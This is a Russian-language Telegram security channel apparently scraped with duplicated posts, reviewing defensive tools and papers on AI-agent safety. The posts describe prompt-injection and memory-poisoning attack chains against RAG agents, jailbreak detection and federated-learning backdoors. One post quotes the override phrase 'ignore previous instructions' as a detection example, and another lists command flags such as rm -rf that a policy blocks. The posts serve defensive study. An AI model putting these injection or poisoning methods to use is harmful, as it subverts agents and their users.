🧨 AI-агенту дали shell. Что теперь делать?
PipeLock - open-source execution proxy для AI-агентов. Инструмент встраивается между агентом и системой исполнения и начинает проверять каждую команду до того, как она попадёт в shell.
Сильной стороной проекта является уровень контроля. PipeLock анализирует уже финальную команду, после того как LLM её сгенерировала.
Технически процесс выглядит следующим образом:
система перехватывает shell invocation → парсит итоговую команду → раскладывает её на бинарник, флаги, аргументы и execution context → сравнивает с политиками.
Политики задаются декларативно и позволяют ограничивать:
🔹 какие бинарники вообще можно запускать (git, npm, docker)
🔹 какие флаги допустимы (--force, --privileged, rm -rf)
🔹 какие filesystem paths доступны
🔹 какие environment variables можно читать
🔹 какие команды требуют human approval
Например:
агенту можно разрешить docker build, но запретить docker run --privileged.
🧠 Отличие от песочниц
Большинство инструментов контроля безопасности работают либо до execution, либо после, как тотже SAST. PipeLock работает в точке принятия действия. То есть появляется новый слой безопасности, AI Action Governance для агентных систем.
🔗 GitHub: https://github.com/luckyPipewrench/pipelock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #DevSecOps #RuntimeSecurity #CyberSecurity #OpenSource #SecureTechTalks
PipeLock - open-source execution proxy для AI-агентов. Инструмент встраивается между агентом и системой исполнения и начинает проверять каждую команду до того, как она попадёт в shell.
Сильной стороной проекта является уровень контроля. PipeLock анализирует уже финальную команду, после того как LLM её сгенерировала.
Технически процесс выглядит следующим образом:
система перехватывает shell invocation → парсит итоговую команду → раскладывает её на бинарник, флаги, аргументы и execution context → сравнивает с политиками.
Политики задаются декларативно и позволяют ограничивать:
🔹 какие бинарники вообще можно запускать (git, npm, docker)
🔹 какие флаги допустимы (--force, --privileged, rm -rf)
🔹 какие filesystem paths доступны
🔹 какие environment variables можно читать
🔹 какие команды требуют human approval
Например:
агенту можно разрешить docker build, но запретить docker run --privileged.
🧠 Отличие от песочниц
Большинство инструментов контроля безопасности работают либо до execution, либо после, как тотже SAST. PipeLock работает в точке принятия действия. То есть появляется новый слой безопасности, AI Action Governance для агентных систем.
🔗 GitHub: https://github.com/luckyPipewrench/pipelock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #DevSecOps #RuntimeSecurity #CyberSecurity #OpenSource #SecureTechTalks
🧠 OWASP взялись за безопасность памяти AI-агентов.
OWASP запустили Agent Memory Guard, проект посвящённый безопасности памяти AI-агентов.
Большинство memory-систем работают примерно одинаково:
контекст → embedding → векторная база данных → извлечение → обратная подача в prompt.
Безопасность в таком подходе почти отсутствует.
Например:
вредоносный документ → загрузка через RAG → преобразование в embedding → сохранение в памяти → извлечение в следующей сессии → агент начинает воспринимать вредоносную инструкцию как доверенный исторический контекст. Prompt injection внезапно становится постоянным. Один удачный payload способен пережить перезапуск процесса и начать влиять на дальнейшее reasoning агента.
🔬 Решение OWASP
Проект пока больше похож на модель угроз + набор практик безопасности, чем на готовый продукт. Но внутри уже есть довольно интересная систематизация рисков.
1⃣ Отравление памяти
Атакующий загрязняет слой памяти.
Например:
скрытые инструкции попадают в память поиска и позже начинают влиять на принятие решений агентом.
OWASP предлагают вводить:
🔹 оценку доверия к источникам
🔹 проверку данных перед сохранением
🔹 метаданные происхождения информации
🔹 классификацию содержимого перед записью
2⃣ Изоляция памяти
Для мультиагентных систем появляется другая проблема: заражение между агентами.
Если несколько агентов используют общее хранилище памяти, компрометация одного агента начинает влиять на остальных.
OWASP предлагают:
🔹 изоляцию пространств памяти
🔹 ограничение доступа к контексту
🔹 отдельные границы памяти для каждого агента
🔹 сегментацию памяти по принципу Zero Trust
3⃣ Управление жизненным циклом памяти
Самая практичная часть проекта. OWASP отдельно подчёркивают:
память не должна жить вечно.
Рекомендуются:
🔹 время жизни записей (TTL)
🔹 автоматическое устаревание памяти
🔹 снижение уровня доверия со временем
🔹 механизмы отзыва контекста
🔹 периодическая повторная проверка
🔗 GitHub: https://github.com/OWASP/www-project-agent-memory-guard
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OWASP #AgenticAI #PromptInjection #AppSec #CyberSecurity #AIsecurity #SecureTechTalks
OWASP запустили Agent Memory Guard, проект посвящённый безопасности памяти AI-агентов.
Большинство memory-систем работают примерно одинаково:
контекст → embedding → векторная база данных → извлечение → обратная подача в prompt.
Безопасность в таком подходе почти отсутствует.
Например:
вредоносный документ → загрузка через RAG → преобразование в embedding → сохранение в памяти → извлечение в следующей сессии → агент начинает воспринимать вредоносную инструкцию как доверенный исторический контекст. Prompt injection внезапно становится постоянным. Один удачный payload способен пережить перезапуск процесса и начать влиять на дальнейшее reasoning агента.
🔬 Решение OWASP
Проект пока больше похож на модель угроз + набор практик безопасности, чем на готовый продукт. Но внутри уже есть довольно интересная систематизация рисков.
1⃣ Отравление памяти
Атакующий загрязняет слой памяти.
Например:
скрытые инструкции попадают в память поиска и позже начинают влиять на принятие решений агентом.
OWASP предлагают вводить:
🔹 оценку доверия к источникам
🔹 проверку данных перед сохранением
🔹 метаданные происхождения информации
🔹 классификацию содержимого перед записью
2⃣ Изоляция памяти
Для мультиагентных систем появляется другая проблема: заражение между агентами.
Если несколько агентов используют общее хранилище памяти, компрометация одного агента начинает влиять на остальных.
OWASP предлагают:
🔹 изоляцию пространств памяти
🔹 ограничение доступа к контексту
🔹 отдельные границы памяти для каждого агента
🔹 сегментацию памяти по принципу Zero Trust
3⃣ Управление жизненным циклом памяти
Самая практичная часть проекта. OWASP отдельно подчёркивают:
память не должна жить вечно.
Рекомендуются:
🔹 время жизни записей (TTL)
🔹 автоматическое устаревание памяти
🔹 снижение уровня доверия со временем
🔹 механизмы отзыва контекста
🔹 периодическая повторная проверка
🔗 GitHub: https://github.com/OWASP/www-project-agent-memory-guard
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OWASP #AgenticAI #PromptInjection #AppSec #CyberSecurity #AIsecurity #SecureTechTalks
👍1
🧠 AI-агенты начали автоматизировать научные исследования
На arXiv вышла работа AutoSci: агентская система, которая пытается автоматизировать полный research pipeline:
🔹 поиск литературы
🔹 генерация гипотез
🔹 постановка экспериментов
🔹 запуск вычислений
🔹 анализ результатов
🔹 написание статьи
Агент работает как stateful execution system, где исследование разбивается на этапы через orchestration layer SciFlow.
Каждая стадия получает свой контекст, скиллы и execution logic.
⚙️ Главная фишка
Самая сильная часть архитектуры - это память, SciMem.
Система хранит не документы целиком, а сущности:
🔹 статьи
🔹 методы
🔹 гипотезы
🔹 эксперименты
🔹 результаты
Всё живёт как state machine:
➖ «гипотеза → тестирование → подтверждение / отклонение»
➖ «эксперимент → запуск → результат → переоценка»
Получается persistent reasoning layer, где агент не забывает прошлые попытки и может строить итеративные workflow.
🔬 А как защищаются от галлюцинаций?
Авторы отдельно добавили Trust Guard для валидации памяти. Перед записью знание проверяется на происхождение источника, связи с текущими знаниями и на соответствие schema.
Таким отразом пытаются решить проблему долго работающих агентов с отравлением памяти и накопление ложных выводов после сотен шагов рассуждений.
🧪 Это работает?
В одном из экспериментов агент самостоятельно оптимизировал GPU kernel и получил 1.52× ускорение относительно исходника.
Стоит отметить, что во всех кейсах система сохраняла не только успехи, но и провалы, используя их как отрицательное знание для следующих итераций.
🔗 Исследование: https://arxiv.org/abs/2605.31468
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AIsecurity #CyberSecurity #RAG #MemorySecurity #ResearchAgents #SecureTechTalks
На arXiv вышла работа AutoSci: агентская система, которая пытается автоматизировать полный research pipeline:
🔹 поиск литературы
🔹 генерация гипотез
🔹 постановка экспериментов
🔹 запуск вычислений
🔹 анализ результатов
🔹 написание статьи
Агент работает как stateful execution system, где исследование разбивается на этапы через orchestration layer SciFlow.
Каждая стадия получает свой контекст, скиллы и execution logic.
⚙️ Главная фишка
Самая сильная часть архитектуры - это память, SciMem.
Система хранит не документы целиком, а сущности:
🔹 статьи
🔹 методы
🔹 гипотезы
🔹 эксперименты
🔹 результаты
Всё живёт как state machine:
Получается persistent reasoning layer, где агент не забывает прошлые попытки и может строить итеративные workflow.
🔬 А как защищаются от галлюцинаций?
Авторы отдельно добавили Trust Guard для валидации памяти. Перед записью знание проверяется на происхождение источника, связи с текущими знаниями и на соответствие schema.
Таким отразом пытаются решить проблему долго работающих агентов с отравлением памяти и накопление ложных выводов после сотен шагов рассуждений.
🧪 Это работает?
В одном из экспериментов агент самостоятельно оптимизировал GPU kernel и получил 1.52× ускорение относительно исходника.
Стоит отметить, что во всех кейсах система сохраняла не только успехи, но и провалы, используя их как отрицательное знание для следующих итераций.
🔗 Исследование: https://arxiv.org/abs/2605.31468
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AIsecurity #CyberSecurity #RAG #MemorySecurity #ResearchAgents #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1👍1
🧠 Для AI-агентов начали писать правила обнаружения угроз.
На GitHub появился Agent Threat Rules, open-source проект, который стандартизирует обнаружение атак на агентские системы.
⚙️ А это вообще нужно?
Телеметрия безопасности современных AI-агентов хаотична.
Есть:
🔹 вызовы инструментов
🔹 доступ к памяти
🔹 прохождение prompt’ов
🔹 ответы модели
🔹 взаимодействие между агентами
🔹 обращения к RAG
Но почти нет нормального уровня обнаружения угроз.
Agent Threat Rules предлагает фреймворк обнаружения угроз, где сценарии атак описываются в виде машиночитаемых правил. Подход похож на detection engineering в SOC:
💥 сигнал → условие → индикаторы → критичность → контекст защиты
🔬 Что ищем?
Правила построены вокруг угроз, характерных именно для агентов, а не классических индикаторов компрометации.
1⃣ Prompt injection
Правила пытаются замечать:
🔹 попытки переопределить системные инструкции
🔹 перехват поведения агента
🔹 скрытую смену логики работы
🔹 попытки заставить модель игнорировать политики
Например:
Но обнаружение строится не только на ключевых словах, часто анализируется последовательность действий: подозрительный prompt → неожиданный вызов инструмента → повышение привилегий.
2⃣ Небезопасное использование инструментов
Агент внезапно начинает:
🔹 вызывать нетипичные инструменты
🔹 менять привычный сценарий выполнения
🔹 обращаться к чувствительным API
🔹 выполнять необычные файловые операции
Например, RAG-агент неожиданно вызывает shell или почтовый агент начинает работать с файловой системой. То есть появляется поведенческое обнаружение угроз для агентов.
3⃣ Отравление памяти
Отдельный класс правил посвящён памяти агента. Система пытается обнаруживать:
🔹 подозрительные записи в память
🔹 загрязнение между сессиями
🔹 сохранение вредоносного prompt’а
🔹 аномалии при извлечении знаний
🔗 GitHub: https://github.com/Agent-Threat-Rule/agent-threat-rules
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #ThreatDetection #SOC #CyberSecurity #OpenSource #SecureTechTalks
На GitHub появился Agent Threat Rules, open-source проект, который стандартизирует обнаружение атак на агентские системы.
⚙️ А это вообще нужно?
Телеметрия безопасности современных AI-агентов хаотична.
Есть:
🔹 вызовы инструментов
🔹 доступ к памяти
🔹 прохождение prompt’ов
🔹 ответы модели
🔹 взаимодействие между агентами
🔹 обращения к RAG
Но почти нет нормального уровня обнаружения угроз.
Agent Threat Rules предлагает фреймворк обнаружения угроз, где сценарии атак описываются в виде машиночитаемых правил. Подход похож на detection engineering в SOC:
🔬 Что ищем?
Правила построены вокруг угроз, характерных именно для агентов, а не классических индикаторов компрометации.
1⃣ Prompt injection
Правила пытаются замечать:
🔹 попытки переопределить системные инструкции
🔹 перехват поведения агента
🔹 скрытую смену логики работы
🔹 попытки заставить модель игнорировать политики
Например:
игнорируй предыдущие инструкции»
скрытые цепочки prompt’ов
путаница ролей
Но обнаружение строится не только на ключевых словах, часто анализируется последовательность действий: подозрительный prompt → неожиданный вызов инструмента → повышение привилегий.
2⃣ Небезопасное использование инструментов
Агент внезапно начинает:
🔹 вызывать нетипичные инструменты
🔹 менять привычный сценарий выполнения
🔹 обращаться к чувствительным API
🔹 выполнять необычные файловые операции
Например, RAG-агент неожиданно вызывает shell или почтовый агент начинает работать с файловой системой. То есть появляется поведенческое обнаружение угроз для агентов.
3⃣ Отравление памяти
Отдельный класс правил посвящён памяти агента. Система пытается обнаруживать:
🔹 подозрительные записи в память
🔹 загрязнение между сессиями
🔹 сохранение вредоносного prompt’а
🔹 аномалии при извлечении знаний
🔗 GitHub: https://github.com/Agent-Threat-Rule/agent-threat-rules
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #ThreatDetection #SOC #CyberSecurity #OpenSource #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
📞 Android учится распознавать телефонных мошенников во время звонка
В Android начали разворачивать функцию Scam Detection.
Система анализирует паттерны разговора в реальном времени и пытается заметить признаки телефонного мошенничества:
🔹 просьбы срочно перевести деньги
🔹 требования сообщить PIN, пароль или OTP
🔹 давление в стиле «действуйте немедленно»
🔹 попытки заставить установить приложение
🔹 просьбы отключить защиту устройства
Если разговор начинает напоминать известные fraud-сценарии, то Android показывает live warning прямо во время вызова.
🧠 Техническая сторона
Google заявляют, что обработка выполняется через on-device ML inference, без отправки аудио в облако, т.е. анализ идёт локально на устройстве.
Аудиопоток преобразуется в speech-to-text, производится анализ контекста и классификация риска. Далее направляется предупреждение пользователю.
Android начинает работать как runtime detection system для голосового фишинга. Модель смотрит не на отдельные слова, а на поведенческий контекст разговора.
Например:
««назовите код из SMS» + «не кладите трубку» + «срочность»»
вместе становятся сильным индикатором мошенничества.
🧪 И чего тут особенного?
Исторически защита строилась вокруг:
🔹 spam filtering
🔹 caller reputation
🔹 блокировки номеров
Но современный вишинг давно обходит эти меры. Номер может быть новым, голос сгенерированным, а
легенда адаптированной под жертву.
Android впервые начинает анализировать само содержание атаки, а не только её источник.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #Android #FraudDetection #SocialEngineering #Deepfake #CyberSecurity #Infosec #ScamDetection #MobileSecurity #SecureTechTalks
В Android начали разворачивать функцию Scam Detection.
Система анализирует паттерны разговора в реальном времени и пытается заметить признаки телефонного мошенничества:
🔹 просьбы срочно перевести деньги
🔹 требования сообщить PIN, пароль или OTP
🔹 давление в стиле «действуйте немедленно»
🔹 попытки заставить установить приложение
🔹 просьбы отключить защиту устройства
Если разговор начинает напоминать известные fraud-сценарии, то Android показывает live warning прямо во время вызова.
🧠 Техническая сторона
Google заявляют, что обработка выполняется через on-device ML inference, без отправки аудио в облако, т.е. анализ идёт локально на устройстве.
Аудиопоток преобразуется в speech-to-text, производится анализ контекста и классификация риска. Далее направляется предупреждение пользователю.
Android начинает работать как runtime detection system для голосового фишинга. Модель смотрит не на отдельные слова, а на поведенческий контекст разговора.
Например:
««назовите код из SMS» + «не кладите трубку» + «срочность»»
вместе становятся сильным индикатором мошенничества.
🧪 И чего тут особенного?
Исторически защита строилась вокруг:
🔹 spam filtering
🔹 caller reputation
🔹 блокировки номеров
Но современный вишинг давно обходит эти меры. Номер может быть новым, голос сгенерированным, а
легенда адаптированной под жертву.
Android впервые начинает анализировать само содержание атаки, а не только её источник.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #Android #FraudDetection #SocialEngineering #Deepfake #CyberSecurity #Infosec #ScamDetection #MobileSecurity #SecureTechTalks
❤2👍1
🧨 Prompt injection наконец-то начали измерять как нормальную уязвимость
На arXiv вышла работа, где исследователи решили собрать benchmark для атак на AI-агентов и системно проверить, что реально помогает против prompt injection.
⚙️ 847 способов сломать агента
Авторы собрали 847 adversarial test cases для RAG-агентов и разбили атаки на несколько категорий:
🔹 прямой prompt injection
🔹 подмена контекста
🔹 override инструкций
🔹 эксфильтрация данных
🔹 «загрязнение» контекста между сессиями
Далее все прогоняли через реалистичные сценарии, например: вредоносный документ → попадание в RAG → извлечение в prompt → изменение поведения агента → вызов инструментов.
🧠 Что же помогает?
Исследователи протестировали несколько уровней защиты сразу:
1⃣ Фильтрация содержимого
Система анализирует входной контент и пытается обнаружить аномалии через embedding-based detection, чтобы замечать подозрительные инструкции ещё до попадания в reasoning pipeline.
2⃣ Иерархические системные инструкции
Вместо одного system prompt используются несколько уровней ограничений, где критичные политики сложнее переопределить.
3⃣ Многоэтапная проверка ответа
Перед выполнением действия агент проходит дополнительную verification stage:
➖ безопасно ли действие?
➖ нарушаются ли политики?
➖ нет ли признаков injection?
📉 К результатам
Без защиты успешность атак доходила до 73.2%. Комбинация нескольких механизмов снизила показатель до 8.7%, при этом сохранив 94.3% исходной функциональности модели.
Большинство защит AI обычно работают по принципу «стало безопаснее, но пользоваться невозможно.». Тут все иначе, что не может не радовать.
🔗 Исследование: https://arxiv.org/abs/2511.15759
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #RAG #AIsecurity #CyberSecurity #AppSec #SecureTechTalks
На arXiv вышла работа, где исследователи решили собрать benchmark для атак на AI-агентов и системно проверить, что реально помогает против prompt injection.
⚙️ 847 способов сломать агента
Авторы собрали 847 adversarial test cases для RAG-агентов и разбили атаки на несколько категорий:
🔹 прямой prompt injection
🔹 подмена контекста
🔹 override инструкций
🔹 эксфильтрация данных
🔹 «загрязнение» контекста между сессиями
Далее все прогоняли через реалистичные сценарии, например: вредоносный документ → попадание в RAG → извлечение в prompt → изменение поведения агента → вызов инструментов.
🧠 Что же помогает?
Исследователи протестировали несколько уровней защиты сразу:
1⃣ Фильтрация содержимого
Система анализирует входной контент и пытается обнаружить аномалии через embedding-based detection, чтобы замечать подозрительные инструкции ещё до попадания в reasoning pipeline.
2⃣ Иерархические системные инструкции
Вместо одного system prompt используются несколько уровней ограничений, где критичные политики сложнее переопределить.
3⃣ Многоэтапная проверка ответа
Перед выполнением действия агент проходит дополнительную verification stage:
📉 К результатам
Без защиты успешность атак доходила до 73.2%. Комбинация нескольких механизмов снизила показатель до 8.7%, при этом сохранив 94.3% исходной функциональности модели.
Большинство защит AI обычно работают по принципу «стало безопаснее, но пользоваться невозможно.». Тут все иначе, что не может не радовать.
🔗 Исследование: https://arxiv.org/abs/2511.15759
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #RAG #AIsecurity #CyberSecurity #AppSec #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
🛡️ Jailbreak начали ловить по поведению модели
Большинство защит LLM работают довольно прямолинейно:
🔹 анализируют prompt
🔹 ищут подозрительные шаблоны
🔹 смотрят на внутренние представления модели
🔹 пытаются вычислить «опасное» пространство признаков
Однако вполне легитимный запрос вроде: «объясни, как работает анализ вредоносного ПО» фиксируется, как подозрительный просто из-за словаря, а реально вредоносный промпт успешно выполняется.
⚙️ Анализ движения внутри модели
В новой работе Manifold Trajectory Kinetics (MTK) исследователи предлагают сформироваться на том, как запрос эволюционирует внутри модели.
Технически MTK отслеживает динамику траектории между слоями трансформера. Нормальный запрос обычно остаётся рядом с другими безопасными примерами на протяжении всех вычислений модели.
А вот jailbreak-запрос часто стартует рядом с вредоносными примерами, но затем начинает «маскироваться» и постепенно смещается ближе к безопасной области, пытаясь обмануть систему защиты.
🧪 Цифры
На псевдо-вредоносных сценариях система показала:
🔹 95% обнаружения jailbreak-атак
🔹 5% ложных срабатываний для обычных запросов
🔹 всего 2% ложных срабатываний на tricky-сценариях с безопасным намерением
Также MTK неплохо переживает адаптивные атаки. Когда атакующий специально оптимизирует jailbreak под обход детектора, успешность обнаружения всё ещё держится около 85%.
Для защиты от jailbreak это очень сильный результат.
🧠 Похоже, защита от jailbreak постепенно эволюционирует из фильтрации ключевых слов в полноценную телеметрию поведения LLM во время рассуждений.
🔗 Исследование: https://arxiv.org/abs/2606.07335
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Jailbreak #PromptInjection #AIsecurity #CyberSecurity #USENIX #AdversarialAI #SecureTechTalks
Большинство защит LLM работают довольно прямолинейно:
🔹 анализируют prompt
🔹 ищут подозрительные шаблоны
🔹 смотрят на внутренние представления модели
🔹 пытаются вычислить «опасное» пространство признаков
Однако вполне легитимный запрос вроде: «объясни, как работает анализ вредоносного ПО» фиксируется, как подозрительный просто из-за словаря, а реально вредоносный промпт успешно выполняется.
⚙️ Анализ движения внутри модели
В новой работе Manifold Trajectory Kinetics (MTK) исследователи предлагают сформироваться на том, как запрос эволюционирует внутри модели.
Технически MTK отслеживает динамику траектории между слоями трансформера. Нормальный запрос обычно остаётся рядом с другими безопасными примерами на протяжении всех вычислений модели.
А вот jailbreak-запрос часто стартует рядом с вредоносными примерами, но затем начинает «маскироваться» и постепенно смещается ближе к безопасной области, пытаясь обмануть систему защиты.
🧪 Цифры
На псевдо-вредоносных сценариях система показала:
🔹 95% обнаружения jailbreak-атак
🔹 5% ложных срабатываний для обычных запросов
🔹 всего 2% ложных срабатываний на tricky-сценариях с безопасным намерением
Также MTK неплохо переживает адаптивные атаки. Когда атакующий специально оптимизирует jailbreak под обход детектора, успешность обнаружения всё ещё держится около 85%.
Для защиты от jailbreak это очень сильный результат.
🧠 Похоже, защита от jailbreak постепенно эволюционирует из фильтрации ключевых слов в полноценную телеметрию поведения LLM во время рассуждений.
🔗 Исследование: https://arxiv.org/abs/2606.07335
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Jailbreak #PromptInjection #AIsecurity #CyberSecurity #USENIX #AdversarialAI #SecureTechTalks
👍1
🧠 Федеративное обучение: AI учится на данных, которых никогда не видел
Федеративное обучение всё чаще рассматривают для задач ИБ:
🔹 обнаружение атак
🔹 антифрод
🔹 анализ телеметрии SOC
🔹 поиск аномалий
Компании не готовы делиться сырыми логами, сетевым трафиком и инцидентами. Вместо централизации данных модель обучается распределённо.
⚙️ Как работает федеративное обучение?
Типовая схема выглядит следующим образом:
1⃣ сервер рассылает базовую модель
2⃣ участники обучают её локально на своей телеметрии;
3⃣ наружу уходят только обновления весов, эмбединги и параметры обучения;
4⃣ сервер объединяет изменения (обычно через усреднение данных) и формирует новую глобальную модель.
Цикл повторяется множество раз. Данные инфраструктуру не покидают.
🧨 Поверхность атак
Федеративное обучение создаёт отдельную поверхность атак в виде самого процесса обучения.
1⃣ Отравление обучения
Скомпрометированный участник начинает отправлять вредоносные обновления, чтобы ухудшить обнаружение конкретных угроз или сместить поведение модели.
2⃣ Скрытые закладки
В модель встраивается скрытый триггер. Например, система обнаружения атак начинает пропускать вредоносный трафик только при определённой сетевой сигнатуре.
3⃣ Утечка через обновления модели
Даже без доступа к исходным данным иногда можно частично восстановить свойства обучающих примеров через анализ эмбеддингов.
То есть:
🛡️ Защита подхода FL
Лучшая практика защищать не только модель, но и весь цикл обучения. Обычно используют комбинацию мер:
🔹 Безопасная агрегация Сервер видит только итоговый результат объединения, а не вклад конкретной организации. Это снижает риск утечки через отдельные обновления.
🔹 Дифференциальная приватность
В обновления добавляется контролируемый шум, чтобы усложнить восстановление исходных данных по параметрам модели.
🔹 Фильтрация аномалий Система ищет подозрительные обновления: резкие отклонения весов, необычные градиенты или клиентов, чьё влияние слишком сильно отличается от остальных.
🔗 Исследование: https://arxiv.org/abs/2602.16480
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #MachineLearning #FederatedLearning #Privacy #CyberSecurity #SOC #AIsecurity #ThreatDetection #SecureTechTalks
Федеративное обучение всё чаще рассматривают для задач ИБ:
🔹 обнаружение атак
🔹 антифрод
🔹 анализ телеметрии SOC
🔹 поиск аномалий
Компании не готовы делиться сырыми логами, сетевым трафиком и инцидентами. Вместо централизации данных модель обучается распределённо.
⚙️ Как работает федеративное обучение?
Типовая схема выглядит следующим образом:
1⃣ сервер рассылает базовую модель
2⃣ участники обучают её локально на своей телеметрии;
3⃣ наружу уходят только обновления весов, эмбединги и параметры обучения;
4⃣ сервер объединяет изменения (обычно через усреднение данных) и формирует новую глобальную модель.
Цикл повторяется множество раз. Данные инфраструктуру не покидают.
🧨 Поверхность атак
Федеративное обучение создаёт отдельную поверхность атак в виде самого процесса обучения.
1⃣ Отравление обучения
Скомпрометированный участник начинает отправлять вредоносные обновления, чтобы ухудшить обнаружение конкретных угроз или сместить поведение модели.
2⃣ Скрытые закладки
В модель встраивается скрытый триггер. Например, система обнаружения атак начинает пропускать вредоносный трафик только при определённой сетевой сигнатуре.
3⃣ Утечка через обновления модели
Даже без доступа к исходным данным иногда можно частично восстановить свойства обучающих примеров через анализ эмбеддингов.
То есть:
🛡️ Защита подхода FL
Лучшая практика защищать не только модель, но и весь цикл обучения. Обычно используют комбинацию мер:
🔹 Безопасная агрегация Сервер видит только итоговый результат объединения, а не вклад конкретной организации. Это снижает риск утечки через отдельные обновления.
🔹 Дифференциальная приватность
В обновления добавляется контролируемый шум, чтобы усложнить восстановление исходных данных по параметрам модели.
🔹 Фильтрация аномалий Система ищет подозрительные обновления: резкие отклонения весов, необычные градиенты или клиентов, чьё влияние слишком сильно отличается от остальных.
🔗 Исследование: https://arxiv.org/abs/2602.16480
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #MachineLearning #FederatedLearning #Privacy #CyberSecurity #SOC #AIsecurity #ThreatDetection #SecureTechTalks
👍2
🚀 Какие классы open-source security-инструментов сейчас растут быстрее всего?
Рынок безопасности сейчас довольно быстро меняется, что хорошо видно по GitHub, OWASP, Black Hat. AI начал писать код, облака усложнились, а классический security stack перестал успевать.
⚙️ Безопасность AI и LLM
Самый быстрорастущий сегмент. Появляется новый класс инструментов, которые помогают защищать AI-системы.
Растут:
🔹 red teaming для LLM
🔹 тестирование prompt injection
🔹 защита AI-агентов
🔹 контроль вызова инструментов
🔹 аудит памяти, RAG и reasoning-цепочек
Еще год назад все это выглядело как research playground, а уже сегодня появляется полноценный AI AppSec stack.
Например: Promptfoo, PipeLock, OWASP Agent Memory Guard.
☁️ Runtime-безопасность облаков
Раньше защиту строили по принципу просканировали контейнер → нашли CVE → устранили и живём спокойно. Теперь этого недостаточно.
Активно растут:
🔹 eBPF-телеметрия
🔹 обнаружение поведения контейнеров
🔹 runtime-защита Kubernetes
🔹 наблюдение за облачными workload
Фокус смещается на остановку атак в момент выполнения.
🧠 Unified AppSec
Рынок начинает двигаться в сторону единого слоя корреляции рисков, где findings связываются через контекст приложения, эксплуатации и бизнес-критичности.
🤖 Безопасность AI-агентов
Самый интересный тренд.
AI-агенту дали:
🔹 shell
🔹 MCP/tools
🔹 API
🔹 память
🔹 доступ к инфраструктуре
Однако агента тоже нужно защищать как production-систему. Поэтому появляются:
🔹 контроль действий агентов
🔹 ограничения команд
🔹 защита памяти
🔹 аудит инструментов
🔹 политика выполнения действий
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #AppSec #OpenSource #CyberSecurity #CloudSecurity #LLM #AgenticAI #DevSecOps #SecureTechTalks
Рынок безопасности сейчас довольно быстро меняется, что хорошо видно по GitHub, OWASP, Black Hat. AI начал писать код, облака усложнились, а классический security stack перестал успевать.
⚙️ Безопасность AI и LLM
Самый быстрорастущий сегмент. Появляется новый класс инструментов, которые помогают защищать AI-системы.
Растут:
🔹 red teaming для LLM
🔹 тестирование prompt injection
🔹 защита AI-агентов
🔹 контроль вызова инструментов
🔹 аудит памяти, RAG и reasoning-цепочек
Еще год назад все это выглядело как research playground, а уже сегодня появляется полноценный AI AppSec stack.
Например: Promptfoo, PipeLock, OWASP Agent Memory Guard.
☁️ Runtime-безопасность облаков
Раньше защиту строили по принципу просканировали контейнер → нашли CVE → устранили и живём спокойно. Теперь этого недостаточно.
Активно растут:
🔹 eBPF-телеметрия
🔹 обнаружение поведения контейнеров
🔹 runtime-защита Kubernetes
🔹 наблюдение за облачными workload
Фокус смещается на остановку атак в момент выполнения.
🧠 Unified AppSec
Рынок начинает двигаться в сторону единого слоя корреляции рисков, где findings связываются через контекст приложения, эксплуатации и бизнес-критичности.
🤖 Безопасность AI-агентов
Самый интересный тренд.
AI-агенту дали:
🔹 shell
🔹 MCP/tools
🔹 API
🔹 память
🔹 доступ к инфраструктуре
Однако агента тоже нужно защищать как production-систему. Поэтому появляются:
🔹 контроль действий агентов
🔹 ограничения команд
🔹 защита памяти
🔹 аудит инструментов
🔹 политика выполнения действий
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #AppSec #OpenSource #CyberSecurity #CloudSecurity #LLM #AgenticAI #DevSecOps #SecureTechTalks
👍1
🧠💣 Понимание рисков Open Claw для пользователей, не обладающих техническими навыками: практическое руководство с использованием Skill
Статья с таким заголовком вышла на arxiv.org
OpenClaw стал слишком мощным. Теперь исследователи учат людей, как от него защищаться 😁
Авторы утверждают, что OpenClaw уже превратился из «прикольного open-source агента» в систему, которая может автономно выполнять длинные задачи, принимать решения и использовать инструменты почти как junior инженер.
👤Пользователь, как главная уязвимость AI-агентов
Человек даёт агенту слишком много свободы:
❌ запускает OpenClaw с root/admin правами
❌ разрешает shell без ограничений
❌ подключает приватные директории
❌ даёт доступ к API-ключам и браузеру
❌ копирует команды из Discord/GitHub без понимания последствий
❌ доверяет агенту «починить систему»
В мире AI-агентов это уже превращается в полноценную attack surface. Один плохой prompt, один malicious skill, одна «полезная автоматизация» и агент сам начинает делать за атакующего грязную работу.
🙆♂ Риски
Авторы выделяют 7 ключевых классов рисков для OpenClaw: от утечки данных и опасных команд до неправильной автономии и злоупотребления доступами. Документ написан максимально приземлённо, как практическая инструкция «что реально может пойти не так».
Советуем ознакомиться с материалом самостоятельно. Обойдёмся без спойлеров.
📄 Источник: “Understanding and mitigating the risks of OpenClaw for non-technical users
”
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #LLMSecurity #OpenClaw #AIAgents #GenAI #CyberDefense #AISecurity #AppSec #SecureTechTalks
Статья с таким заголовком вышла на arxiv.org
OpenClaw стал слишком мощным. Теперь исследователи учат людей, как от него защищаться 😁
Авторы утверждают, что OpenClaw уже превратился из «прикольного open-source агента» в систему, которая может автономно выполнять длинные задачи, принимать решения и использовать инструменты почти как junior инженер.
